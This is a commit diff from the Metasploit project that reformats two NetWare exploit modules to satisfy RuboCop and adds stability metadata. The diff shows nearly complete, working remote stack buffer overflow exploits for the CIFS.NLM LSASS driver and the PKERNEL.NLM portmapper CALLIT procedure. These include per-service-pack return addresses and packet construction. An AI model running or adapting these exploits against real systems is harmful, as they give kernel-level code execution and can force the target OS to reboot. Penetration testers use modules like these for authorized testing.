Skip to content

Commit 86e8c45

Browse files
bcolesbcoles
committed
modules/exploits/netware: Resolve RuboCop violations
1 parent fffcd29 commit 86e8c45

File tree

2 files changed

+69
-62
lines changed

2 files changed

+69
-62
lines changed

‎modules/exploits/netware/smb/lsass_cifs.rb‎

Lines changed: 39 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -9,62 +9,66 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::DCERPC
1010
include Msf::Exploit::Remote::SMB::Client
1111

12-
1312
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
16-
'Description' => %q{
17-
This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
18-
Since the driver runs in the kernel space, a failed exploit attempt can
19-
cause the OS to reboot.
20-
},
21-
'Author' =>
22-
[
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
19+
Since the driver runs in the kernel space, a failed exploit attempt can
20+
cause the OS to reboot.
21+
},
22+
'Author' => [
2323
'toto',
2424
],
25-
'License' => MSF_LICENSE,
26-
'References' =>
27-
[
25+
'License' => MSF_LICENSE,
26+
'References' => [
2827
[ 'CVE', '2005-2852' ],
2928
[ 'OSVDB', '12790' ]
3029
],
31-
'Privileged' => true,
32-
'Payload' =>
33-
{
34-
'Space' => 400,
35-
'BadChars' => "\x00",
30+
'Privileged' => true,
31+
'Payload' => {
32+
'Space' => 400,
33+
'BadChars' => "\x00"
3634
},
37-
'Platform' => 'netware',
38-
'Targets' =>
39-
[
35+
'Platform' => 'netware',
36+
'Targets' => [
4037
# NetWare SP can be found in the SNMP version :
4138
# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)
4239

43-
[ 'VMware', { 'Ret' => 0x000f142b } ],
40+
[ 'VMware', { 'Ret' => 0x000f142b } ],
4441
[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
4542
[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
4643
[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
4744
[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
4845
[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
4946
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
5047
],
51-
52-
'DisclosureDate' => '2007-01-21'))
48+
'Notes' => {
49+
'Stability' => [ CRASH_OS_RESTARTS ],
50+
'SideEffects' => [ IOC_IN_LOGS ],
51+
'Reliability' => [ UNRELIABLE_SESSION ]
52+
},
53+
'DisclosureDate' => '2007-01-21'
54+
)
55+
)
5356

5457
register_options(
5558
[
56-
OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc'])
57-
])
59+
OptString.new('SMBPIPE', [true, 'The pipe name to use (LSARPC)', 'lsarpc'])
60+
]
61+
)
5862

63+
deregister_options('DCERPC::fake_bind_multi')
5964
end
6065

6166
def exploit
62-
6367
# Force multi-bind off (netware doesn't support it)
6468
datastore['DCERPC::fake_bind_multi'] = false
6569

66-
connect()
67-
smb_login()
70+
connect
71+
smb_login
6872

6973
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
7074

@@ -84,8 +88,9 @@ def exploit
8488
NDR.long(0x000f0fff)
8589

8690
resp = dcerpc.call(0x2c, stb)
87-
handle, = resp[0,20]
88-
code, = resp[20, 4].unpack('V')
91+
handle, = resp[0, 20]
92+
_code, = resp[20, 4].unpack('V')
93+
resp[20, 4].unpack('V')
8994

9095
name =
9196
rand_text_alphanumeric(0xa0) +
@@ -96,26 +101,23 @@ def exploit
96101
handle +
97102
NDR.long(1) +
98103
NDR.long(1) +
99-
100104
NDR.short(name.length) +
101105
NDR.short(name.length) +
102106
NDR.long(rand(0xffffffff)) +
103-
104107
NDR.UnicodeConformantVaryingStringPreBuilt(name) +
105-
106108
NDR.long(0) +
107109
NDR.long(0) +
108110
NDR.long(1) +
109111
NDR.long(0)
110112

111-
print_status("Calling the vulnerable function ...")
113+
print_status('Calling the vulnerable function ...')
112114

113115
begin
114116
dcerpc.call(0x0E, stb)
115-
rescue
117+
rescue StandardError
118+
# DCERPC call may fail, this is expected
116119
end
117120

118-
# Cleanup
119121
handler
120122
disconnect
121123
end

‎modules/exploits/netware/sunrpc/pkernel_callit.rb‎

Lines changed: 30 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -9,31 +9,30 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::Udp
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',
14-
'Description' => %q{
15-
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.
16-
PKERNEL.NLM is installed by default on all NetWare servers to support NFS.
17-
The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can
18-
cause the operating system to reboot.
19-
},
20-
'Author' => [ 'pahtzo', ],
21-
'License' => MSF_LICENSE,
22-
'References' =>
23-
[
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.
18+
PKERNEL.NLM is installed by default on all NetWare servers to support NFS.
19+
The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can
20+
cause the operating system to reboot.
21+
},
22+
'Author' => [ 'pahtzo', ],
23+
'License' => MSF_LICENSE,
24+
'References' => [
2425
# There is no CVE for this vulnerability
2526
[ 'BID', '36564' ],
2627
[ 'OSVDB', '58447' ],
2728
[ 'ZDI', '09-067' ],
2829
],
29-
'Privileged' => true,
30-
'Payload' =>
31-
{
32-
'Space' => 2020,
30+
'Privileged' => true,
31+
'Payload' => {
32+
'Space' => 2020
3333
},
34-
'Platform' => 'netware',
35-
'Targets' =>
36-
[
34+
'Platform' => 'netware',
35+
'Targets' => [
3736
# NetWare SP and PKERNEL.NLM version can be found in SNMP:
3837
# snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"
3938
# sysDescr.0 = STRING: Novell NetWare 5.70.08 October 3, 2008
@@ -46,16 +45,22 @@ def initialize(info = {})
4645
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
4746
[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)
4847
],
49-
50-
'DisclosureDate' => '2009-09-30'))
48+
'Notes' => {
49+
'Stability' => [ CRASH_OS_RESTARTS ],
50+
'SideEffects' => [ IOC_IN_LOGS ],
51+
'Reliability' => [ UNRELIABLE_SESSION ]
52+
},
53+
'DisclosureDate' => '2009-09-30'
54+
)
55+
)
5156

5257
register_options([Opt::RPORT(111)])
5358
end
5459

5560
def exploit
5661
connect_udp
5762

58-
buf = [rand(0xffffffff)].pack('N') # XID
63+
buf = [rand(0xffffffff)].pack('N') # XID
5964
buf << [0].pack('N') # Message Type: Call (0)
6065
buf << [2].pack('N') # RPC Version: 2
6166
buf << [100000].pack('N') # Program: Portmap (100000)
@@ -74,9 +79,9 @@ def exploit
7479
buf << [target.ret].pack('V') # addr. of push esp - ret
7580
buf << payload.encoded #
7681

77-
# print_status("payload space #{payload_space()}...")
78-
# print_status("payload len #{payload.encoded.length}...")
79-
# print_status("total buf len #{buf.length}...")
82+
# print_status("payload space #{payload_space()}...")
83+
# print_status("payload len #{payload.encoded.length}...")
84+
# print_status("total buf len #{buf.length}...")
8085

8186
print_status("Trying target #{target.name}...")
8287

0 commit comments

Comments
 (0)